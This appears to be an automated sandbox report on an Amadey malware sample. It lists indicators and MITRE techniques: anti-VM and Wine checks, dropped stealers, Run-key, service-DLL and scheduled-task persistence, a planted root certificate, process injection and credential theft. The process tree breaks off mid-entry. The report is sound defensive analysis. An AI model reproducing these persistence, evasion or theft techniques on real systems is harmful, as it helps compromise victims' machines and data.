amadey | 444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5

Virtualization/Sandbox Evasion

Processes:

axplong.exe444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exeaxplong.exeaxplong.exeaxplong.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow	pid	Process
68	4472	powershell.exe
90	1316	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
4472	powershell.exe
5000	powershell.exe
3804	powershell.exe
1316	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\x607444\Parameters\ServiceDll = "C:\\Windows\\System32\\x607444.dat"	reg.exe

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

axplong.exeaxplong.exeaxplong.exeaxplong.exe444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

axplong.exeRegAsm.exeNework.exeSet-up.exeruntime.exeruntime.exe444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	axplong.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	Nework.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	Set-up.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	runtime.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	runtime.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe

Executes dropped EXE 28 IoCs

Processes:

axplong.execrypted.execrypteda.exebytHYVJVr6.exehI2FUvPN9c.exeNework.exeHkbsse.exestealc_default2.exeSet-up.exe1.exeHkbsse.exeaxplong.exesvchost015.exeSetup.exeAmadeus.exebuild.exeruntime.exeservice123.exepyl64.exeprintui.exeHkbsse.exeaxplong.exeruntime.exeusvc.execonsole_zero.exeHkbsse.exeaxplong.exeruntime.exe

pid	Process
2948	axplong.exe
2276	crypted.exe
2296	crypteda.exe
3056	bytHYVJVr6.exe
4800	hI2FUvPN9c.exe
1392	Nework.exe
4448	Hkbsse.exe
3780	stealc_default2.exe
4408	Set-up.exe
2588	1.exe
4044	Hkbsse.exe
4844	axplong.exe
4900	svchost015.exe
2436	Setup.exe
664	Amadeus.exe
3564	build.exe
4300	runtime.exe
3104	service123.exe
3592	pyl64.exe
3696	printui.exe
4012	Hkbsse.exe
3284	axplong.exe
540	runtime.exe
2060	usvc.exe
2364	console_zero.exe
4120	Hkbsse.exe
5000	axplong.exe
3560	runtime.exe

Identifies Wine through registry keys 2 TTPs 5 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

axplong.exeaxplong.exeaxplong.exeaxplong.exe444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Wine	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe

Loads dropped DLL 15 IoCs

Processes:

stealc_default2.exeservice123.exeprintui.exesvchost.execonsole_zero.exe

pid	Process
3780	stealc_default2.exe
3780	stealc_default2.exe
3104	service123.exe
3696	printui.exe
2004	svchost.exe
2004	svchost.exe
2004	svchost.exe
2004	svchost.exe
2004	svchost.exe
2004	svchost.exe
2004	svchost.exe
2004	svchost.exe
2004	svchost.exe
2364	console_zero.exe
2364	console_zero.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

runtime.exeruntime.exeaxplong.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\runtime = "C:\\Users\\Admin\\Pictures\\Lighter Tech\\runtime.exe"	runtime.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\runtime = "C:\\Users\\Admin\\Pictures\\Lighter Tech\\runtime.exe"	runtime.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Amadeus.exe = "C:\\Users\\Admin\\1000238002\\Amadeus.exe"	axplong.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

Processes:

cmd.exe

pid	Process
5104	cmd.exe

Drops file in System32 directory 14 IoCs

Processes:

usvc.exeprintui.exe

description	ioc	Process
File created	C:\Windows\System32\winsvcf\winlogsvc	usvc.exe
File created	C:\Windows\System32\zlib1.dll	usvc.exe
File created	C:\Windows\System32\libwinpthread-1.dll	usvc.exe
File created	C:\Windows\System32\usvc.exe	printui.exe
File created	C:\Windows\System32\libpq.dll	usvc.exe
File created	C:\Windows\System32\ucrtbased.dll	usvc.exe
File created	C:\Windows\System32\libcurl.dll	usvc.exe
File created	C:\Windows\System32\libcrypto-3-x64.dll	usvc.exe
File created	C:\Windows\System32\libintl-9.dll	usvc.exe
File created	C:\Windows\System32\vcruntime140d.dll	usvc.exe
File created	C:\Windows\System32\x607444.dat	usvc.exe
File created	C:\Windows\System32\libiconv-2.dll	usvc.exe
File created	C:\Windows\System32\libssl-3-x64.dll	usvc.exe
File created	C:\Windows\System32\console_zero.exe	usvc.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exeaxplong.exeaxplong.exeaxplong.exeaxplong.exe

pid	Process
2652	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe
2948	axplong.exe
4844	axplong.exe
3284	axplong.exe
5000	axplong.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

crypted.execrypteda.exe1.exeAmadeus.exeruntime.exeruntime.exe

description	pid	Process	procid_target
PID 2276 set thread context of 1436	2276	crypted.exe	91
PID 2296 set thread context of 264	2296	crypteda.exe	96
PID 2588 set thread context of 4900	2588	1.exe	110
PID 664 set thread context of 2652	664	Amadeus.exe	120
PID 4300 set thread context of 1184	4300	runtime.exe	126
PID 540 set thread context of 4460	540	runtime.exe	138

Drops file in Windows directory 2 IoCs

Processes:

444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exeNework.exe

description	ioc	Process
File created	C:\Windows\Tasks\axplong.job	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe
File created	C:\Windows\Tasks\Hkbsse.job	Nework.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exe

pid	Process
624	sc.exe
4480	sc.exe

Embeds OpenSSL 2 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

Processes:

resource	yara_rule
behavioral1/files/0x0003000000000735-527.dat	embeds_openssl
behavioral1/files/0x000d00000001e590-564.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Amadeus.exeRegAsm.exehI2FUvPN9c.exebytHYVJVr6.exebuild.exeservice123.exeBitLockerToGo.exeNework.exeHkbsse.exestealc_default2.exe1.execrypted.execrypteda.exeRegAsm.exesvchost015.exeSetup.exeAppLaunch.exe444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exeaxplong.exeSet-up.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Amadeus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hI2FUvPN9c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bytHYVJVr6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	service123.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Nework.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hkbsse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypteda.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axplong.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Set-up.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

Set-up.exeSetup.exestealc_default2.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Set-up.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	stealc_default2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Set-up.exe

Delays execution with timeout.exe 2 IoCs

evasion

Processes:

timeout.exetimeout.exe

pid	Process
872	timeout.exe
2264	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

Processes:

reg.exe

pid	Process
4392	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

RegAsm.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

schtasks.exeschtasks.exe

pid	Process
3332	schtasks.exe
4224	schtasks.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

Processes:

444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exeaxplong.exestealc_default2.exebytHYVJVr6.exeRegAsm.exehI2FUvPN9c.exeaxplong.exebuild.exepyl64.exepowershell.exeruntime.exeaxplong.exepowershell.exepowershell.exepowershell.exeaxplong.exe

pid	Process
2652	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe
2652	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe
2948	axplong.exe
2948	axplong.exe
3780	stealc_default2.exe
3780	stealc_default2.exe
3056	bytHYVJVr6.exe
3056	bytHYVJVr6.exe
1436	RegAsm.exe
1436	RegAsm.exe
4800	hI2FUvPN9c.exe
4800	hI2FUvPN9c.exe
4800	hI2FUvPN9c.exe
4800	hI2FUvPN9c.exe
1436	RegAsm.exe
1436	RegAsm.exe
1436	RegAsm.exe
1436	RegAsm.exe
4800	hI2FUvPN9c.exe
4800	hI2FUvPN9c.exe
3780	stealc_default2.exe
3780	stealc_default2.exe
4844	axplong.exe
4844	axplong.exe
3564	build.exe
3592	pyl64.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4300	runtime.exe
4300	runtime.exe
3284	axplong.exe
3284	axplong.exe
5000	powershell.exe
5000	powershell.exe
3804	powershell.exe
3804	powershell.exe
1316	powershell.exe
1316	powershell.exe
5000	axplong.exe
5000	axplong.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

Processes:

printui.exe

pid	Process
3696	printui.exe
3696	printui.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

Processes:

bytHYVJVr6.exeRegAsm.exehI2FUvPN9c.exebuild.exeruntime.exepowershell.exeExplorer.EXEruntime.exepowershell.exepowershell.exepowershell.exeruntime.exe

description	pid	Process
Token: SeDebugPrivilege	3056	bytHYVJVr6.exe
Token: SeBackupPrivilege	3056	bytHYVJVr6.exe
Token: SeSecurityPrivilege	3056	bytHYVJVr6.exe
Token: SeSecurityPrivilege	3056	bytHYVJVr6.exe
Token: SeSecurityPrivilege	3056	bytHYVJVr6.exe
Token: SeSecurityPrivilege	3056	bytHYVJVr6.exe
Token: SeDebugPrivilege	1436	RegAsm.exe
Token: SeDebugPrivilege	4800	hI2FUvPN9c.exe
Token: SeDebugPrivilege	3564	build.exe
Token: SeBackupPrivilege	3564	build.exe
Token: SeSecurityPrivilege	3564	build.exe
Token: SeSecurityPrivilege	3564	build.exe
Token: SeSecurityPrivilege	3564	build.exe
Token: SeSecurityPrivilege	3564	build.exe
Token: SeDebugPrivilege	4300	runtime.exe
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeDebugPrivilege	540	runtime.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeDebugPrivilege	3804	powershell.exe
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeDebugPrivilege	3560	runtime.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid	Process
3552	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exeaxplong.execrypted.execrypteda.exeRegAsm.exeNework.exe1.exe

description	pid	Process	procid_target
PID 2652 wrote to memory of 2948	2652	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe	86
PID 2652 wrote to memory of 2948	2652	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe	86
PID 2652 wrote to memory of 2948	2652	444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe	86
PID 2948 wrote to memory of 2276	2948	axplong.exe	89
PID 2948 wrote to memory of 2276	2948	axplong.exe	89
PID 2948 wrote to memory of 2276	2948	axplong.exe	89
PID 2276 wrote to memory of 1436	2276	crypted.exe	91
PID 2276 wrote to memory of 1436	2276	crypted.exe	91
PID 2276 wrote to memory of 1436	2276	crypted.exe	91
PID 2276 wrote to memory of 1436	2276	crypted.exe	91
PID 2276 wrote to memory of 1436	2276	crypted.exe	91
PID 2276 wrote to memory of 1436	2276	crypted.exe	91
PID 2276 wrote to memory of 1436	2276	crypted.exe	91
PID 2276 wrote to memory of 1436	2276	crypted.exe	91
PID 2948 wrote to memory of 2296	2948	axplong.exe	95
PID 2948 wrote to memory of 2296	2948	axplong.exe	95
PID 2948 wrote to memory of 2296	2948	axplong.exe	95
PID 2296 wrote to memory of 264	2296	crypteda.exe	96
PID 2296 wrote to memory of 264	2296	crypteda.exe	96
PID 2296 wrote to memory of 264	2296	crypteda.exe	96
PID 2296 wrote to memory of 264	2296	crypteda.exe	96
PID 2296 wrote to memory of 264	2296	crypteda.exe	96
PID 2296 wrote to memory of 264	2296	crypteda.exe	96
PID 2296 wrote to memory of 264	2296	crypteda.exe	96
PID 2296 wrote to memory of 264	2296	crypteda.exe	96
PID 2296 wrote to memory of 264	2296	crypteda.exe	96
PID 2296 wrote to memory of 264	2296	crypteda.exe	96
PID 264 wrote to memory of 3056	264	RegAsm.exe	97
PID 264 wrote to memory of 3056	264	RegAsm.exe	97
PID 264 wrote to memory of 3056	264	RegAsm.exe	97
PID 264 wrote to memory of 4800	264	RegAsm.exe	98
PID 264 wrote to memory of 4800	264	RegAsm.exe	98
PID 264 wrote to memory of 4800	264	RegAsm.exe	98
PID 2948 wrote to memory of 1392	2948	axplong.exe	100
PID 2948 wrote to memory of 1392	2948	axplong.exe	100
PID 2948 wrote to memory of 1392	2948	axplong.exe	100
PID 1392 wrote to memory of 4448	1392	Nework.exe	102
PID 1392 wrote to memory of 4448	1392	Nework.exe	102
PID 1392 wrote to memory of 4448	1392	Nework.exe	102
PID 2948 wrote to memory of 3780	2948	axplong.exe	103
PID 2948 wrote to memory of 3780	2948	axplong.exe	103
PID 2948 wrote to memory of 3780	2948	axplong.exe	103
PID 2948 wrote to memory of 4408	2948	axplong.exe	106
PID 2948 wrote to memory of 4408	2948	axplong.exe	106
PID 2948 wrote to memory of 4408	2948	axplong.exe	106
PID 2948 wrote to memory of 2588	2948	axplong.exe	107
PID 2948 wrote to memory of 2588	2948	axplong.exe	107
PID 2948 wrote to memory of 2588	2948	axplong.exe	107
PID 2588 wrote to memory of 4900	2588	1.exe	110
PID 2588 wrote to memory of 4900	2588	1.exe	110
PID 2588 wrote to memory of 4900	2588	1.exe	110
PID 2588 wrote to memory of 4900	2588	1.exe	110
PID 2588 wrote to memory of 4900	2588	1.exe	110
PID 2588 wrote to memory of 4900	2588	1.exe	110
PID 2588 wrote to memory of 4900	2588	1.exe	110
PID 2588 wrote to memory of 4900	2588	1.exe	110
PID 2948 wrote to memory of 2436	2948	axplong.exe	113
PID 2948 wrote to memory of 2436	2948	axplong.exe	113
PID 2948 wrote to memory of 2436	2948	axplong.exe	113
PID 2948 wrote to memory of 664	2948	axplong.exe	114
PID 2948 wrote to memory of 664	2948	axplong.exe	114
PID 2948 wrote to memory of 664	2948	axplong.exe	114
PID 2948 wrote to memory of 3564	2948	axplong.exe	115
PID 2948 wrote to memory of 3564	2948	axplong.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3552
- C:\Users\Admin\AppData\Local\Temp\444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe
  "C:\Users\Admin\AppData\Local\Temp\444e80019846f02e7172fba6161f23c0ba6db91137d28d6ec1bc8718eecbc8e5.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
    "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2948
  - - C:\Users\Admin\AppData\Local\Temp\1000002001\crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\1000002001\crypted.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2276
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
